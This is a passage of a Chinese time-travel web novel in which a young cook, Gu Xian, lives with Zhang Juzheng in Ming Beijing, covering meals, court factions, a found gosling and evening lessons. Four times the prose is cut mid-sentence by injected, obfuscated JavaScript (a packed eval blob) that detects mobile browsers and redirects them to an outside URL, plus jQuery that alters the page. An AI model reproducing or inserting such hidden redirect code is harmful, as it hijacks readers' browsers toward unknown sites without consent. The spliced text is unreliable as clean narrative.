即便觉得这炸鸭架十分美味,张居正也没有再夹第二块,毕竟啃骨头这种事到底不太文雅,不太适合他这种包袱重的人。 还是留给小子们吃吧。 张居正端起顾闲给他倒的豆蔻饮子尝了尝,心中又是讶异不已,总觉得这类饮子自己以前都没喝对。明明还是差不多的豆蔻香,入喉却觉疲惫顿消,本来有些饱胀的肠胃都舒服了许多。 年纪最小的张简修没抢到最后一块炸鸭架,扁扁嘴想哭,但闻到倒给他的豆蔻饮子又把泪憋了回去,贪心地来了个一口闷。 他咕咚咕咚地把整杯都灌完了,眼睛顿时亮到不行,扭过头朝顾闲夸了起来:“这个也好好喝!” 顾闲一脸骄傲:“那是肯定的,当初我师父都说我的四季饮子学得最好。” 所谓的四季饮子也是他师父的说法,他师父认为按着季节变化与当地气候来安排饮食是最好的,若是能考虑到每个人的身体情况与个人偏好改进食谱那就更符合传统养生理念了。不过那得是另外的价钱! 通过这顿晚饭,顾闲顺利征服了张家老小,奠定了自己赖在张家蹭吃蹭喝的群众基础。 相比于在京师过得有滋有味的顾闲,远在老家的顾家老小对着饭桌齐齐叹了口气。 顾闲不是会藏私的人,离家前也把许多菜的做法教给了兄嫂以及侄子侄女,可做菜这种事怎么可能谁做都一样? 也不知是不是因为江南这边快要入夏了,顾家人看着桌上的饭菜居然都不太想下筷子。 顾老爹唉声叹气:“也不知那小子到了没有,可别半路跑去别的地方玩耍。” 顾家兄长说:“我下个月要涨俸禄了,要不写信喊闲哥儿回来吧。” 桌上的小孩都连连点头。 顾闲才走了不到一个月,大家都有点食不知味了。 顾老娘不乐意了:“回什么回!真能跟在他姐夫身边长长见识,那是他的本事,也是他的造化。闲哥儿明明有读书的天赋,难道真让他一辈子围着灶台转吗?” 父母之爱子,则为之计深远。 顾家爹娘何尝不想让孩子在身边尽孝,趁着牙口还算好多享享口福,可儿子都十多岁了,还整天只惦记着学厨,当父母的心里哪会不着急? 所以他们托人送顾闲去京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804147|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师寻张居正,养不起只是其中一个原因,更多的还是盼着他能有个好前程。 但凡顾闲天赋差些,他们都不好意思豁出脸去干着这种事。 顾老爹说:“隔壁家春生这几天不是要跑一趟京师吗?明儿咱去托他帮忙捎封信过去,顺便让他看看闲哥儿。” …… 与此同时,顾闲也正在给家里写信,张居正说明儿托人帮忙捎信去南边,叫他也写封家书一起送去。 京师这边的新鲜人新鲜事太多了,顾闲差点都忘了这事儿,写家书时便讲得格外殷切,直说自己离家后没有一刻不想念家里云云。 熟知他性情的人一看便知他在心虚了,偏他自己不觉得,写完通读一遍觉得没毛病,愉快地封好信封准备明儿一早让人捎回家去。 另一边,张居正同样写好了给二老的信,信中无非是让二老放宽心,自己会安排好顾闲。 他对自己人一向很好,顾闲明显是个好苗子,不必二老多提他都会好好栽培。 信写完了,还有不少余墨。 张居正记性极佳,鲜少需要把日常杂事记在纸上,只不过这两日发生的事情着实是生平罕见,他索性就着余下的墨汁写起了札记。 这篇札记的主要内容是这样的—— ……小舅子其人,一言难尽…… 张居正几岁大就能写诗文,写起这样的札记自然信手拈来。 此前他不觉得这玩意有什么好写的,如今把心里积攒的话语全写在纸上,倒是有点儿明白高拱为什么那么热衷于雌黄人物了。 有些话确实不吐不快,吐出来就舒服多了。 想到高拱,张居正心里又有点犯愁。 别看大家表面上笑呵呵,实际上矛盾已经快到不可调和的程度,明里暗里没少相互攻讦。 一边是老师,一边是好友,张居正也很为难。尤其是他心里早已不认同老师徐阶的许多观念,与好友高拱更加志同道合…… 张居正叹了口气。 吏部尚书杨博是高拱一手提拔上来的,这些年在战场上立下过不少战功。 最近杨博负责京官考核,将两个跟高拱有仇的御史评了下等。 这本来不是什么大事,问题就在于杨博这个山西人给自己的山西老乡们全部给了上等,叫言官那边抓住了把柄。 众言官一合计,杨博肯定是受高拱指使挟私报复。甭管是不是这批山西籍官员恰好都那么优秀,反正这事不能忍! 言官就是要监督大臣的,要是因为他们曾经弹劾高拱就要被撵走,那以后谁还敢说话? 据张居正所知,已经有好几位言官准备轮流上书弹劾此事。 徐阶心里本来就觉得高拱忘恩负义(毕竟高拱是他提拔入阁的,却总跟他对着干),又极为反对阻塞言路,肯定会力保言官。 高拱这次要有麻烦了。 张居正思来想去,也没想出调和之法之法,还是决定继续低调做事。 权力斗争从来都是不到你死我活不罢休,他一个排在末位的哪里劝得动徐阶和高拱? 喝完这杯豆蔻饮子,早些睡吧。 8.第 8 章 顾闲从来不是没苦硬吃的人,没有一上来就要把阖府上下的一日三餐给全包了。 他早上起来溜去厨房也只是观摩一下人家今天做什么早饭,顺便跟人家聊聊菜都是上哪买来的。 张府的食材有两类,一类由府中下人每天出去采买回来,一类由签了契约的人家每天送到府中。 值得注意的是明朝官员不能在自己任地上置办产业,也就是说张府名下在京师没有田庄商铺,连官员府邸往往都是反复易手,极具流通性。 张居正要买地养老也只能在自己家乡那边买! 在京师当官,当真就是吃喝住行都得花钱。 像张居正这样声名远扬且身居高位的大官,日子可能还过得下去,那些品阶低的小官真就宁愿自请出去地方上当官了。 今天天气明显暖和起来了,一大早就有了点由春入夏的热意,顾闲边跟人聊天边顺手焖了瓶补气提神的养生饮子供张居正带去衙署,说是喝了中午胃口会好些。 张居正本想拒绝,想想昨晚连睡眠都好了不少,又让游七接过顾闲备好的饮子。 作为回报,张居正给顾闲列了张书单,让他从今天开始读。这些书家里都有,不必花钱另买! 顾闲:????? 不对劲,这不对劲。我给你准备好喝的饮子,你居然给我列书单! 早知如此,就不给他送饮子了! 这天不必早朝,张居正拎着饮子到当值的地方,高拱已经到了。见张居正入内,高拱笑着打趣:“今天你小舅子没带上那只鸭子送你了?” 张居正回道:“带不来,已经吃了。”想到昨天那光烤鸭和配菜就占了半张桌子的新鲜吃法,他难得地多夸了一句,“味道还不错。” 高拱听张居正居然都这么夸,顿觉稀奇。再一看,张居正还带着喝的来,不由凑过去问:“你这带的什么?” 内阁这边属于内衙,每天会由光禄寺那边准备饭食。 只不过光禄寺设在宫外,饭食送过来难免不那么热乎,大家吃得都不怎么舒心。 嘉靖皇帝后期一度久居西苑,不怎么在内廷办公,但按照规定内阁必须有一个阁臣全天候留守。 那时候高拱还是晚辈,时常当那个留守的,比张居正多吃了好几个月的光禄寺饭食,已经有些腻味了。 张居正说:“闲哥儿一大早煮了让我带上,我也没喝上,不知道是什么饮子。” 说着他打开了皮水囊的壶口,一股热意先涌了出来,而后是涌入鼻端的清淡香气,还没喝到嘴里,已觉精神一振。 民间饮子花样多,冬日有热饮,夏日有冰饮,皆有自己的独家秘法,只不过市井中流行开的大多是酸梅饮子之类的。 别的不是喝着太费事,就是味道不怎么样,像顾闲这样煮什么都好喝的实在少。 高拱比张居正年长十来岁,对待这个相识多年的同僚兼好友也没客气,笑着说道:“给我分点。” 张居正很大方地给他倒满一杯。 不想倒到一半,徐阶几人进来了。 高拱笑容敛了敛,心道以前皇帝在西苑,一个两个都不乐意值守内阁,现在倒是天天来了。但这会儿还没完全撕破脸,他还是客客气气地打了招呼。 徐阶笑问:“你们这是在分什么?当值期间可不能带酒来喝。” 张居正无法,只得又给徐阶他们讲了这饮子是怎么回事,问徐阶他们要不要也分上一杯。 几位阁臣这么分了一轮,张居正带来的饮子便见底了。他自己喝上时只剩小半杯了,心中不免有些惋惜。 面对宾客僚属与家中后辈他可以始终冷脸以对,但对上眼前几位前辈却是得保持足够的尊敬。 许多想做的事终归是绕不开他们。 张居正顿了顿,神色淡淡地跟着众同僚一起喝尽了杯中还冒着热气的饮子。 他还年轻,不着急。 …… 顾闲喜提一张簇新的书单,老老实实在家看了小半天书。到下午他终于还是坐不住了,决定出去遛弯。 郑大跟着顾闲一起读了半天书,见他要出门忙迈步跟上。 他听人说有些人家找书童得挑年纪小的、长得好的,现在难得有人愿意雇佣他,郑大非常珍惜这个机会。 顾闲天生精力旺盛,昨儿已经往法华寺那边转悠了一圈,今儿准备往南边走走。 郑大话不多,只沉默地跟着顾闲。接着他就眼睁睁看着顾闲随时随地混入人堆里头,不知怎地就与人家熟悉起来了。 今天的太阳有点大,有群役夫正围着个水井打水喝,顾闲凑过去好奇地问:“你们是从哪里的?” “我们永平府来的。”那群役夫见他穿得好,年纪又小,只当是哪个大官家的孩子出来玩耍,语气颇为友好。 皇城脚下,个个都是他们惹不起的大人物! 顾闲一听,永平府,没听说过,不知在哪。他不懂就问:“永平府在哪儿?” 役夫说:“往北一点,在滦河入海那一带。” 顾闲听过这地方,昨儿王世贞还提起来呢,王世贞他爹就是去滦河那边坐镇,结果战事失利。 他再问滦河离京师多远,才晓得人家都打到家门口来了! 难怪严嵩只是给嘉靖皇帝吹吹耳旁风,王世贞父亲就连命都丢了。 要知道自己前头才被俺答打到签订“城下之盟”呢,后脚又被人来家门口挑衅,嘉靖皇帝哪能不生气? 顾闲与役夫们聊了一会,就知道他们服的是“柴夫役”,负责从京师周围运送木柴供应宫中使用。 普通老百姓的徭役分为银差和力差,银差可以交钱免役,每个月花个一二两银子免役;力差则必须去给官府白干活,这类差遣一般一年需要干两三个月,工钱是没有的,脏活累活是全归你的。 不交钱或者不应征算你家犯法,得抓你去坐牢! 柴夫这活儿倒是可以折银的,可惜永平府这些年不太平。 这地方往东走就是辽东。 近些年辽东有“十年八总兵”的说法,意思是辽东总兵没几个能干满两年的,全都会因为战事不利被撤职或者被砍头。 这也是张居正要搞改革的重要原因之一。 官不行、将不行、兵不行,整套班子自上而下都有问题,以至于朝廷年年都拿出巨额军费来搞边防,鞑靼还是经常来家门口转悠,女真也在东边时不时扒拉两爪子,各地更是动不动就爆发农民起义。 这样的小打小闹虽不至于让整个大明伤筋动骨,但看看眼前这些瘦弱的役夫就知道了,他们连饭都吃不饱,哪里交得起一个月一两多的免役钱? 只能老老实实轮流按官府要求服役,按时按量填满供内廷所需的柴炭厂。 这不,歇歇脚、喝口水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15823741|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 役夫们又得继续干活去了。 瞧见役夫们累得汗流浃背,顾闲心中莫名生出些紧迫感来。 转念想到自己还没到要烦恼服役的年龄,亲哥又有两个免役名额可以暂且庇佑他一二,顾闲又放下心来。 实在不行,他也努力去考个秀才!给官府打白工是不可能的,他坚决不给官府打白工。 眼看天色还早,顾闲又去灯市那边溜达。 灯市算是城东最大的集市,这地方白天是看的是“市”,足足三条街全是商铺与摊贩,天南海北的货物汇聚于此,每天都热闹非凡。 而到了晚上,灯市看的就是“灯”,不过京师平时有宵禁,只有假节日老百姓才能到街上玩耍。于是每逢佳节,商户们点起的彩灯会将整个灯市连成煌煌灯海,据说连皇帝都爱带着大臣登上城楼观礼。 午后许多摊贩东西都卖得差不多了,要么收拾收拾准备回家,要么聚在一起聊聊天。 好在顾闲带出来的钱早花了个七七八八,倒没准备买什么,只想看看都有啥卖。 他正饶有兴趣地听两个摊贩侃大山呢,就听不远处有人在讨饶:“不是我们不给,而是实在没有本钱去拿货了,前几次的货款还赊着……” 那伙来赊账的人冷笑:“连货都拿不出来,你这店怎么还开着?” 这家伙声音有些尖利,听在耳里透着点儿刻薄,顾闲一听就知道对方应该是个阉人。 南直隶那边也有不少阉人,早年同乡文徵明去世,顾闲跟着兄长过去吊唁时就曾见到有阉人去文家。 当时那阉人说话就是这个调调,顾闲觉得新奇,忍不住多看了几眼,只见对方面白无须,与文家人说是奉义父李芳之命来给文徵明送葬。 只是当时那阉人没眼前这几个家伙那么盛气凌人而已。 众摊贩顿时都噤声,仿佛生怕被对方注意到自己。 直至对方给那店主撂下个交货日期走了,周围的气氛才重新活跃起来,摊贩们不再是那大气不敢喘的模样。 顾闲不懂就问:“那些家伙怎么回事?” 旁边的摊贩给他做了个“嘘”的手势,压低声音说:“小孩子别瞎问,这些不是你该知道的事情。” 顾闲看了眼那不停抹眼泪的店主,多少也猜出了是怎么回事。 他没了闲逛的兴趣,正想回家去,就见一只脏兮兮的鹅苗从旁边钻出个脑袋来,脖子又细又长,朝着顾闲发出“呱”的一声鹅叫。 顾闲:? 他抓起那只又脏又瘦的小鹅问了一圈,都说不是他们丢的。 有个老资格摊贩说道:“估计是前段时间卖鹅苗的家伙没注意走丢的,他早卖光鹅苗走了。” 鸡鸭鹅大多都是春天或秋天买苗,过了时节一般就很少人来卖了。 这鹅苗蔫了吧唧的,瞧着能不能养活都不一定,众摊贩都不太稀罕,让顾闲喜欢就自己留着养。 顾闲顿觉刚才的愁闷一扫而空。 他就知道自己出来一趟肯定不是为了听那么多糟心事。 一切都是因为他与这鹅有缘! 鹅好,鹅超凶,养着还能看家护院,最重要的是这鹅苗是他白捡的,不花钱! 考虑到张居正似乎有点洁癖,家里永远都干干净净的,顾闲决定带着这只捡来的小鹅去法华寺一趟。 先找悟真和尚借桶水给鹅洗个澡再带回去! 9.第 9 章 顾闲抓着脏小鹅去了法华寺,正好看到悟真和尚在井边打水冲澡。 天气一热,家里有水井的人家都爱这样洗澡,不必去澡堂人挤人。法华寺会把空房租住给外来的读书人,浴室平时也是鱼龙混杂,悟真和尚索性在井边解决了。 得知顾闲来意,悟真和尚大方地把水桶借给他。 人和人之间有时候就是这样的,有的人认识十年八年也没能交心,有的人却能一见如故。自从见识过顾闲的烧鸭手艺,悟真和尚心里已经认定了这位年纪比自己小三四十岁的小友。 顾闲快乐地打了水洗鹅,那脏小鹅在灯市里东躲西藏好些天,脏到不行,洗净一看发现它身上的绒毛颜色浅淡,估摸着是只公鹅。 都长出脖子来了,应该快长鹅羽了。 顾闲来了兴趣,一手夹住鹅的脖子,一手往鹅屁股下面摸,还跟悟真和尚分享他这辨别公母的手法是从当地养鹅大户那边学来的,包准! “真的能摸到,不信你来摸摸!” 顾闲热情邀请。 悟真和尚一听就知道摸的是什么,断然拒绝:“不了,不了,你自己摸就行。” 正说着,顾闲眼尖地瞧见王世贞过来了。他提着毛茸茸小鹅跑到王世贞面前,叫人家按照他的指示操作:“你来得正好,快用你的食指和拇指捏住这个地方。” 王世贞不明所以,下意识地按照顾闲的话往下摸。 接着王世贞就看到顾闲目光熠熠地望着他,脸上充满了期待:“怎么样?摸到没有!没错,这就是公鹅!听说它平时都把这东西藏起来的,得这样摸才能摸到!” 王世贞:????? 此时此刻王世贞是呆滞的,这位有名的太仓才子,大半辈子都没遇到过这种情况:有人盛情邀请他摸鹅丁丁。 他还摸了,摸了,摸了…… 鹅那玩意藏不藏起来跟他有什么关系,他一点都不想知道! 王世贞看向那只被擒住后脖颈、不得不以肚皮示人的小鹅。 小鹅仿佛读懂了他的心情,回了他一声生无可恋的“嘎”。 悟真和尚忍不住笑了出声。 顾闲一点都没有祸害了别人的自知之明,还觉得自己成功给王世贞传授了辨别小鹅公母的绝妙方法。 今天又是给人分享知识的一天! 顾闲麻溜把鹅擦干,挥别悟真和尚跟王世贞快快活活地归家去。 在快走到法华寺大门的时候,顾闲还遇到个年过半百的中年男子,对方身材瘦削,五官峻刻,无须。 想到这法华寺最初是由太监捐建的,顾闲不由多看了那人几眼,疑心这是不是也是个太监! 不愧是京师,走到哪都能看到他们。 顾闲对太监倒是没有太大的恶感。 归根到底,阉人这个群体的出现是因为皇帝需要。 皇帝既想要人伺候又怕后宫嫔妃跟外男私通混淆皇室血脉,这才想出把人阉割掉这种缺德办法。某些时期宦官飞扬跋扈、为非作歹,他们手中的权力基本也都是皇帝给予的! 顾闲见识过没了皇权以后太监的下场,当初最后一批太监大多都过得穷途潦倒,记得还有新闻报道的标题写出过这样的标题:《废物利用:大批太监由平运沪,医院欲研究男性变态》。 意思是被溥仪遣散的太监在北京生活困难,上海有意愿将他们接了过去,用以研究他们这个特殊群体的身体情况与心理状态…… 是的,在新时代新思想的定义之中,太监这个群体属于“性变态”。 人家身体是真的有缺陷,心理因此而产生那么一点扭曲也挺正常。只要不是像早前那群阉人那样肆意欺压老百姓,顾闲也不会见到个太监就摆出深恶痛绝的表情。 眼下迎面撞上了,对方年纪明显比自己大,顾闲很尊老爱幼地避让到一边,嘴巴还贼甜地打招呼:“您好!” 那中年宦官脚步微顿,目光在顾闲身上多停留了两眼,只觉这问候的方式有些怪。 倒也不是大家平时不说你好,但很少一见面就这么来上一句。 顾闲笑容灿烂,怀里还抱着只呆头鹅,一看就知道是个毫无心机的少年郎,中年宦官也没计较刚才那点儿古怪,点点头算是回应。 顾闲见对方心事重重的模样,没有凑上去多聊,抱着鹅与郑大回府去。 才到家门口,顾闲又撞上了下衙归来的张居正。 顾闲屁颠屁颠跑上去,给人家看他捡到的小鹅。 那小鹅还没完全脱离幼崽状态,通体只有淡黄色的绒毛,只有那条细长的脖子勉强有点鹅样。 顾闲还知道养东西要问过张居正的意见,一脸期盼地望着张居正:“它饿得这么瘦怪可怜的,我们留在府里把它养大怎么样!” 张居正脑海里浮现了昨天早上被鸭子送去上朝的光辉画面。 正要拒绝,又听顾闲说起自己已经去法华寺给鹅洗了个澡的事,它在佛前走了一遭,现在已经干干净净了! 说着说着,顾闲话题又转到了这是只公鹅上,重点强调说王世贞摸过都说有! 还问张居正要不要也亲自验证一下。 张居正:????? 不用了,谢谢。 没想到你是这样的王世贞。 不过是一只还没有人巴掌大的鹅而已,顾闲要养就随他去吧。 这小子总不能每天带着只鹅送他去上衙。 顾闲得了张居正首肯,屁颠屁颠去给小鹅搭了个窝,又去厨房讨了把菜叶子喂鹅。 瞧见小鹅狼吞虎咽地吃了起来,顾闲忽然记起以前他师父养过只特别喜欢吃玉米的大鹅,每次他掰玉米时都跑过来嘎嘎吃。 这会儿玉米应该已经出现了,只是估计还在东南沿海打转。 顾闲记得后来大清人口增长到三四亿人,玉米和红薯这两样外来作物喂饱过许多人的肚子——只不过也仅限于不被饿死,不等于能让几亿人过得好。 要怎么样才能叫广大人民都过上好日子,始终是个无解的难题,至少就顾闲所知道的那些有识之士也只能骂骂政府、骂骂官僚、骂骂军阀、骂骂封建社会、骂骂帝国主义。 哪都有问题。 哪都不安稳。 谁都无能为力。 顾闲忍不住敲了敲鹅头。 吃得正欢的小鹅嘎地一声,要来啄顾闲手。 顾闲把凶小鹅摁回菜叶堆里,暗自叹了口气。 不能因为知道结果不太好就眼睛一闭、耳朵一捂,什么都不去看、不去听、不去做。 他师父那么善于明哲保身的人,最终不也没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15834581|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置身事外吗? 顾闲欺负够了小鹅,溜达回厨房洗净手看看有什么自己可以现做的。 养生饮子自是要煮的,他准备再给大伙添一两个菜。近来由春入夏,各种瓜类堪堪长成,正是最鲜嫩的时候。 顾闲拿起个白茭瓜掂了掂重量,感觉很适合做个香喷喷的煎饼。 只消煎个一两锅,一家老小都能吃上,相当方便快捷! 顾闲说干就干,捋起袖子给茭瓜切丝。 这分明是最简单的工序,他一动手还是利落得让旁边年纪小的帮厨看得目不转睛,只觉这位表少爷连切个菜都跟他们不一样。 看那切成的瓜丝就知道了,根根都大小均匀! 顾闲刚学厨那会没机会上手做菜,练的全是基本功,一练就是好几年。当时他还不情不愿,如今每每再拿起菜刀,却是开始感念起师父的严厉来。 基本功练好了,什么菜都能做好。 张居正官大,有钱,顾闲很大方地敲了几个鸡蛋下去,没一会就煎出一盘两面金黄的茭瓜煎饼。 他手起刀落,把大大的一锅煎饼切分成一个个均匀的三角,顺手把胡萝卜雕出来的花放上去,轻轻松松完成又好看又好分的摆盘。 当初西学东渐,外国文化在中国大行其道,达官贵人大多有崇洋心态,连吃饭都是“宴客娱宾,必尝番菜”。 顾闲师父很不服气,带他去尝了次鲜,回到家说分餐制有什么稀罕的,这些所谓的礼仪和摆盘咱也有。真要讲究,他们能比西餐讲究一百倍! 为着这事,顾闲又练就了许多没啥用处的“讲究”技巧,比如随便来几根胡萝卜他都能给雕出十二生肖来。 张居正上桌一看,第一眼就瞧见那盘茭瓜煎饼。 主要是寻寻常常一盘鸡蛋饼,摆得那叫一个漂亮。 最显眼的是那胡萝卜雕成的芍药花,那不是简简单单一朵花,而是一干分四歧的“金缠腰”。 那可是宋代一个很有名的“四相簪花”典故,讲的是北宋名臣韩琦得了棵开了四朵的金缠腰,觉得是个好兆头,邀自己手底下的王安石、王珪以及恰好路过办差的陈升之一起簪花喝酒,后来在场的四个人果然轮流当了宰相! 一眼看出典故的张居正:“……” 你做得再好吃,这也只是一盘鸡蛋饼(里头还有一些疑似瓜丝的东西),怎么还雕上金缠腰了? 张简修年纪小,正是藏不住话的时候,瞧见那胡萝卜花后惊奇地说:“好好看的花,能吃吗?” 顾闲说:“能吃是能吃,不过就是普通的胡萝卜味。” 小孩子大多不喜欢吃胡萝卜,张简修一听是胡萝卜味立刻就把目光转向金黄诱人的茭瓜鸡蛋饼。 他看看饼,又看看张居正,再看看饼,眼睛里流露出明明白白的渴望——想吃! 张居正一阵沉默。 他怎么生了个馋鬼儿子。 张居正心里虽然挺嫌弃,筷子还是很诚实地夹了块茭瓜鸡蛋饼。 眼下是吃瓜的好时候,不管什么瓜都鲜嫩又清甜,配上煎香的鸡蛋饼更是开胃佳品。 张居正开了头,其他人也不约而同地把筷子伸向这道明显出自顾闲之手的新菜。 整盘茭瓜鸡蛋饼没一会就一扫而空。 香的嘞! 10.第 10 章 饭后,顾闲本来想溜走,结果张居正没让他走,要考校他今天的读书成果。 都准备当自家子侄来看顾了,自家儿子一直享受着的饭后考校活动当然不能漏掉顾闲。 对于自己看好的后辈,张居正一向要求得非常严格。尤其是像顾闲这种爱到处游逛的,那更是要好好摸清他的底子,不动声色地增大他的读书任务量,省得他每天不是去烤鸭就是去捡鹅。 哪个像他这么大的少年郎能这么悠游自在? 张居正自己最近忙得不行,内阁同僚都在相互攻讦,活全堆着没人干。 估摸着大伙也不太想经手目前这些事情,因为今年趁着改元一盘点,才发现国库实在太穷了,穷得几乎只剩下个空壳子。 今年碰上新皇登基还得减免一部分的赋税,剩下的存银连官吏的俸禄和边关的粮饷都凑不齐,内阁人心又不齐,许多事谁碰谁倒霉。 更糟糕的是,隆庆皇帝似乎也不是他们期盼的明君。 这一点谁都不敢说,但经过这几个月的观望大家心里大多都有了底—— 没了先皇在上头压着,过去那位遇事谨小慎微、颇有明君之资的隆庆皇帝才刚登基就放纵起来了。他对国事不甚关心,只关心如何充实后宫以及索要银钱供他享乐。 这样的新皇,实在很难让人相信他会是一位英明果决的明君。即便针对现在朝廷的种种困局提出解决之法,新皇也不一定会支持你去执行。 张居正自己既忙碌又担忧,哪里看得惯顾闲每天这么优哉游哉到处游逛,他第一个就点了顾闲的名。 顾闲:! 您不是教导亲儿子吗?怎么还有我的份! 不过顾闲也不虚,他可是看过书才出去遛弯的。他一脸自信地把自己的阅读进度讲了出来,让张居正只管问,保证倒背如流! 张居正眼底多了几分并不明显的笑意,还真在对应范围内考起了顾闲,但并不是让顾闲直接背诵,而是十分随意地截取几句话出来让他破题。 这就不仅仅是要会背了,还得理解其中含义,并且用两句简练的话来诠释题目的意思、点出全文的中心。 顾闲早些年去县学旁听,那些生员每日也是在学这些。 想要参加科举,就绕不开八股文。八股么,指的就是破题、承题、起讲、入手、起股、中股、后股、束股这八个环节。 考生的答卷都是套这么模版写的,阅卷多的考官只消看个头尾就能判断你是什么水平,中间只要不犯什么忌讳都不影响打分! 所以想要考得好,破题是最关键的一步。要是连破题这个环节都跑偏了,后头写得再天花乱坠都没用。 这种沿用了数百年的八股文后来一度被批判为封建糟粕,不过就顾闲了解到的情况来看,要是谁家近几代曾出过清朝进士,那也是很值得拿出来说道说道的事情。 可见在只要科举制度还在一天,有能力考的都该去考考! 无论想要做什么,有个进士出身都方便很多。 难得有张居正这样的人物愿意教导自己,顾闲一点都不抗拒,积极地参与这场饭后考校。 顾闲思维敏捷,几乎是张居正一说出题目,他就能迅速给出破题思路,听得老二张嗣修和老三张懋修都忍不住多看了他几眼。 十来岁的半大少年好胜心最强了,一看有这么个近乎同龄的厉害“舅舅”在,顿时都不由自主地在心里跟着破起题来。 王氏虽不懂科举上的事,但也从张居正以及几个孩子的反应中知晓这小舅子天赋颇好,过后便叮嘱几个孩子可以多跟顾闲玩耍。 对待一个很可能有好前程的后辈,跟对待前来蹭吃蹭喝的穷亲戚态度当然不可能一样。 顾闲真要是个游手好闲的家伙,王氏是不可能让自家孩子跟他亲近的——当娘的肯定得为自己孩子考虑! 张简修这个极其好动的小子都不用王氏吩咐,他在张居正面前没答上来也不愁,等张居正一走他就缠着顾闲要去看鹅。 一大一小就溜去顾闲现搭的鹅窝里观察那只毛茸茸的小鹅。 别看它身上只长着绒毛,巡视起自己的领地来已经有模有样了,短短一顿饭的功夫连旁边的石头都被它翻了一遍。 真要长大了不知得多凶! 顾闲信心满满:“等它长大了,连蛇都不敢来。” 张简修立刻说:“那可太好了,我怕蛇!” 顾闲说:“蛇有什么好怕的,我听说撒上椒盐炸一炸,很香的。” 他一直对蛇肉的味道很感兴趣,但他师父很不喜欢这些“邪门歪道”,认为“南蛮子才爱的玩意”。 小孩子都这样,大人越是不让干的事就越好奇。顾闲总想着要是哪天有蛇不长眼地撞到自己手里,他一定得尝尝味道! 可惜也不知是不是蛇感受到威胁,从来不往他面前跑。 真是令人扼腕! 张简修已经爱上顾闲的手艺了,听后一脸坚定地说:“等我长大了,抓蛇给你做来吃!” 顾闲一听,这可不兴抓啊,出事了算谁的?他忙对张简修谆谆教诲:“那可不行,要是遇上毒蛇怎么办?见到蛇最好还是绕着走。” 看看《捕蛇者说》,在毒蛇出没的地区,很可能爷孙三代人死在捕蛇上! 为了口吃的,不值当! 张简修一听后果这么严重,刚生出来的那点儿胆气立刻又瘪了下去,咕哝着说:“那算了,我不抓了。” 一大一小达成共识,各自回去睡觉。 翌日一早,张居正不仅收获了顾闲给煮的养生饮子,还多了顾闲以及张敬修、张简修三个小尾巴。 顾闲表示鹅是要溜的,总关在家里会很闹腾,所以决定从今天起开始每天早起溜鹅。 至于张敬修和张简修为什么跟着,那当然是他觉得人也是要出门溜达的,一天到晚闷在家里埋首书案也会出事。 要不是没见到老二他们,顾闲还要把另外两个外甥也一并喊上哩! 他前天已经估算过了,从家里走到宫门口也就那么几千步路,往返凑个一万步,算是非常不错的运动量,对鹅好,对人也好! 张居正:“……” 沉默,是今早的叔大。 他瞥向那只看起来精神抖擞的小鹅,想起自己昨天还觉得顾闲不可能天天赶鹅送他上衙,这可真是好的不灵坏的灵啊! 眼看张居正还是想拒绝,顾闲又开始给张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15841133|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居正讲起久坐不锻炼的危害。久坐不运动,痔疮最容易找上门! 这可不是他危言耸听,而是无论是正史的记载、野史的记载,还是张居正自己的书函,都表示他后来饱受痔疮困扰。 现在张居正还年轻,还有机会改正自己的不良生活习惯,争取远离痔疮危害! 要不然这会儿洋医生那些手段又没有传过来,痔疮切除手术完全做不了,只能用一些一听就让人头皮发麻的办法。 顾闲说道:“您知道吗?我听说有的人治疗痔疮是用火罐吸住那肉团,将它吸出来割掉!”他光是这么说着,自己也觉得疼,边发出“嘶”的一声边摇起了脑袋,“难怪有的人宁愿吃砒霜来治这病都不愿意割呢,说不准一割就把命都割没了!” 张居正:“……” 能不能不要对需要久坐办公的人说这些。 听不下去了。 小小痔疮,真这么严重吗?! 顾闲见张居正听进心里去了,继续发表自己的看法:“趁着还年轻,我们要防范于未然,不仅要长命百岁,还要活得有尊严、活得有体面!这人一生病,就跟那砧板上的鱼那样任人宰割,想想就难受。” 张居正点头说:“你说得有理。” 